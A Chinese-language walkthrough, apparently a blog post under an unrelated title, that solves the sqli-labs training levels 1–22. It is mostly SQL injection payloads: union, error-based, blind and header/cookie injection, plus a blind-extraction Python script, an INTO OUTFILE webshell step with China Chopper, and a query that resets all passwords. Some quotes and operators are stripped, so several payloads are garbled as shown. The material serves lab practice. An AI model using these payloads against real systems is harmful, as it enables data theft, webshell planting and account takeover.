vs教程编程实例详解,乌班系统安装教程详解
终极管理员 知识笔记 72阅读
目录
Less-1 联合注入

Less-2
Less-3

Less-4
Less-5 报错注入/布尔盲注/时间盲注
Less-6 报错注入/布尔盲注/时间盲注
Less-7 文件导出
Less-8 布尔盲注/时间盲注
Less-9 时间盲注
Less-10 时间盲注
Less-11 post注入
Less-12 post注入
Less-13 post盲注
Less-14 post盲注
Less-15 时间盲注
Less-16 时间盲注
Less-17 修改密码
Less-18 user-agent头注入
Less-19 referer头注入
Less-20 cookie头注入
Less-21 cookie头注入base64
Less-22 cookie头注入base64
Less-1 联合注入
当输入?id1时显示对应的Login name与Password
①推测闭合方式
输入\后面是应该是单引号闭合
?id1报错
?id1 --不报错
说明确实是单引号闭合
②手工查询有多少栏目
?id1 order by 2--
发现3的时候可以4的时候不可以说明有3列
③显示报错位
?id-1 union select 1,2,3 --
当union前面的语句为false才会执行后面语句
发现哪些位置是可以显示的
④爆库名
?id-1 union select 1,database(),3 --
security
⑤爆表名
?id-1 union select 1,table_name,3 from information_schema.tables where table_schemasecurity limit 3,1 --
0,1是从第0个开始取每次取一个
尝试0,1 1,1 2,1 3,1 发现到4,1不行
或者
?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --
一次性爆出表名emails,referers,uagents,users
⑥爆列名
?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers --
爆出列名id,username,password
⑦爆数据
?id-1 union select 1,group_concat(username),group_concat(password) from users --
或者?id-1 union select 1,group_concat(username,password),3 from users --
或者为了格式好看
?id-1 union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --
补充Ascii码的一些转换ASCII_百度百科
Less-2同Less-1没有闭合方式
Less-3同Less-1)闭合
Less-4同Less-1)闭合
Less-5 报错注入/布尔盲注/时间盲注这里讲报错注入的方法报错注入见Less-5布尔盲注见Less-6时间盲注见Less-8
发现它并没有显示位
①判断闭合方式
?id1\
发现是闭合
②判断注入点
?id1 and 11 --
发现页面无回显
查询语句正确时页面会打印You are in...........错误则不显示
③爆库名
?id1 and updatexml(1,concat(0x7e,(database()),0x7e),1) --
库名security
②爆表名
?id1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemasecurity limit 3,1),0x7e),1) --
?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),0x7e),1) --
表名emails,referers,uagents,users
③爆列名
?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),0x7e),1) --
列名id,username,password
④爆数据
?id1 and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --
Less-6 报错注入/布尔盲注/时间盲注布尔型注入:
这个地方进行了数据库查询但是没有显示位报错不会出现信息
错误和正确页面有区别
这里讲布尔盲注的方法报错注入见Less-5布尔盲注见Less-6时间盲注见Less-8
无回显的
①判断闭合方式
?id1\
发现是闭合
?id1 --成功
②判断数据库长度
?id1 and length(database())
所以库名长度8
②判断数据库名中字母
select substr(database(),1,1);
截取数据库库名从第1个字开始截取每次截取1个
select ascii(substr(database(),1,1));
截取出来的字使用ascii码编码
select ascii(substr(database(),1,1)) < 100;
所以
?id1 and ascii(substr(database(),1,1))>114 --
?id1 and (select ascii(substr(database(),1,1))) >114 --也行
所以ascii码为115第一位字母为s
用脚本跑
import requests as requrl select select database()for i in range(1, 100): for ascii in range(32, 128): id 1 and ascii(substr(({}),{},1)){}#.format(select, i, ascii) r req.get(urlid) print(urlid) if You are in in r.text: res chr(ascii) print(res) break if ascii 127: print({}.format(res)) exit(0)
得到库名security
③走流程
只要修改脚本中的select语句即可
select group_concat(table_name) from information_schema.tables where table_schemasecurity
select group_concat(column_name) from information_schema.columns where table_schemasecurity
select group_concat(username,password)from users
Less-7 文件导出文件导出的方式进行注入
①判断闭合
手工测试?id1)) and 11--成功
所以是))闭合
②猜列数
?id1)) order by 3-- 列数为3
③导入一句话木马
?id-1)) union select 1,2, into outfile C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php --
虽然提示报错但是我们发现已经存在文件test.php了
④连菜刀
中国菜刀进行连接输入我们写的文件路径密码是wlw
成功进入
Less-8 布尔盲注/时间盲注闭合
这里讲时间盲注报错注入见Less-5布尔盲注见Less-6时间盲注见Less-8
①判断是否有延时
id1 and sleep(5) --
发现确实有延时可以用时间盲注
② 爆库长
?id1 and if(length(database())8,sleep(5),null)--
③爆库名
从左边第一个字母开始判断库名第一个字母是不是s
?id1 and if(left(database(),1)s,sleep(5),null)--
?id1 and if(left(database(),2)se,sleep(5),null)--
......
security
或者 ?id1 and if((select (substr(database(),1,1))s) ,sleep(5), null)--
③爆表名
?id1 and if(left((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1)e ,sleep(5),null)--
?id1 and if(left((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),2)em ,sleep(5),null)--
?id1 and if(left((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),3)ema ,sleep(5),null)--
......
database() 如果不想写可以写security的hex值
表名emails
或者
id1 and if((select substr(table_name,1,1) from information_schema.tables where table_schemadatabase() limit 0,1)e,sleep(5),null) --
④爆列名
?id1 and if(left((select column_name from information_schema.columns where table_nameusers limit *,1),*)password ,sleep(5),null)--
其中*需要逐个尝试
......
Less-9 时间盲注闭合
见Less-8
经过多次尝试返回值均为You are in …
没有显示位错误也不会告诉你
所以只能时间盲注
Less-10 时间盲注同Less-9闭合
Less-11 post注入前十关使用的是get请求参数都体现在url上面
而从十一关开始是post请求参数是在表单里面
我们可以直接在输入框进行注入或者bp抓包
①BP抓包send to repater
②判断闭合方式
admin报错admin #不报错所以是’闭合
③判断回显位置
union select 1,2 #
④爆库名
union select 1,database() #
⑤爆表名
union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() #
表名emails,referers,uagents,users
⑤爆列名
union select 1,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers #
列名id,username,password
⑥爆数据
union select 1,group_concat(username,password) from users #
Less-12 post注入)闭合 有回显
同Less-11
Less-13 post盲注)闭合 无回显
①猜闭合方式
admin
报错near 111) LIMIT 0,1 at line 1
说明是)闭合
②
输入) # 或) or 11 #
却发现页面没有回显考虑使用报错注入、布尔盲注或者时间盲注
这里讲报错盲注布尔盲注不知道为什么不行...时间盲注见Less-15
sqli-labs第十三和十四关(post请求-报错盲注)_sql注入第13关_mmmmcq的博客-博客
③爆字段数
1) order by 3#报错
1) order by 2#无回显
所以字段数为2
④爆库名
1) union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #
库名security
⑤爆表名
1) union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema security),0x7e),1)#
表名emails,referers,uagents,users
⑥爆列名
1) union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema security and table_nameusers),0x7e),1)#
列名id,username,password
⑦爆数据
1) union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#
Less-14 post盲注同Less-13
admin报错admin#无回显
所以是闭合
布尔盲注好像不能用
可以用时间盲注见Less-15
Less-15 时间盲注闭合
①测试
用admin、admin 、admin and 12# 进行测试发现都不返回错误信息
②判断是否有延时
admin and sleep(5) #
发现确实有延时可以用时间盲注
③爆库长
admin and if(length(database())8,sleep(5),null) #
④爆库名
从左边第一个字母开始判断库名第一个字母是不是s
admin and if(left(database(),1)s,sleep(5),null) #
admin and if(left(database(),2)se,sleep(5),null) #
......
security
或者admin and if(ascii(substr(database(),0,1))115,1,sleep(5))#
或者admin and if((select (substr(database(),1,1))s) ,sleep(5), null)#
⑤爆表名
admin and if(left((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1)e ,sleep(5),null)#
admin and if(left((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),2)em ,sleep(5),null)#
admin and if(left((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),3)ema ,sleep(5),null)#
......
Less-16 时间盲注同Less-15)闭合
Less-17 修改密码本题危害比较大
update users set password$p where username$u
update users set password or 11 # where usernameadmin
admin
or 11 #
会把数据库所有密码都改为1
update users set password1
前十六道题都很简单没有什么过滤的方法直到这关开始有绕过
①爆库名
admin
1 and updatexml(1,concat(0x7e,database(),0x7e),1) #
库名security
②爆表名
1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema security),0x7e),1)#
表名emails,referers,uagents,users
③爆列名
1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema security and table_nameusers),0x7e),1)#
列名id,username,password
④爆数据
1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#
Less-18 user-agent头注入user-agent
insert into security.某个表(uagent,ipadd,username) values(浏览器信息,ip地址,用户名)
$insertinsert into security.uagents (uagent, ip_address, username) values ($uagent, $IP, $uname);
输入正确的用户名密码admin admin会返回代理信息user-agent
所以uagents的数据是会写入数据库再输出的这是我们得以成功注入的关键
用户名密码正确才能把头注入写入后台数据库所以前提是登录进去了
抓包修改请求包的User Agent
关键是闭合前后的语句
sqli-labs(18-23关)_sql18关_cyphersec的博客-博客
①判断闭合方式
在username和password处尝试注入均被转义无法注入
在user-agent后测试发现
报错
and 11正确
所以是闭合
②爆库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1) and 11
and extractvalue(1,concat(0x7e,(select database()),0x7e)) and 11
库名security
③爆表名
insert into security.某个表(uagent,ipadd,username) values( and extractvalue(1,concat(0x7e,(select database()),0x7e)) and 11,ip地址,用户名)
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema database()),0x7e),1) and 11
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e)) and
表名emails,referers,uagents,users
④爆列名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()),0x7e)) and
列名id,username,password
⑤爆数据
and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) and 11
Less-19 referer头注入来路流量你是从哪个地方来的
输入正确的用户名密码admin admin会返回referer
走流程
and extractvalue(1,concat(0x7e,(select database()))) and 11
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e)) and
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()),0x7e)) and
and extractvalue(1,concat(0x7e,(select group_concat(username,password)from users),0x7e)) and
Less-20 cookie头注入输入正确的用户名密码admin admin会返回cookie
①判断闭合方式
admin报错
admin and 11正确
为闭合
②爆库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1) and 11
and extractvalue(1,concat(0x7e,(select database()),0x7e)) # 也可以
走流程
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) #
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),0x7e),1) #
and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) #
Less-21 cookie头注入base64还是cookie头注入
但是抓包都发现cookie后的内容被进行base64编码了
因此输入攻击语句之后转化为base64encode即可
走流程
①爆库名
admin and updatexml(1,concat(0x7e,(select database()),0x7e),1) and 11
编码后
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE
admin and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) and 11
admin and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),0x7e),1) and 11
admin and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) and 11
Less-22 cookie头注入base64同Less-21闭合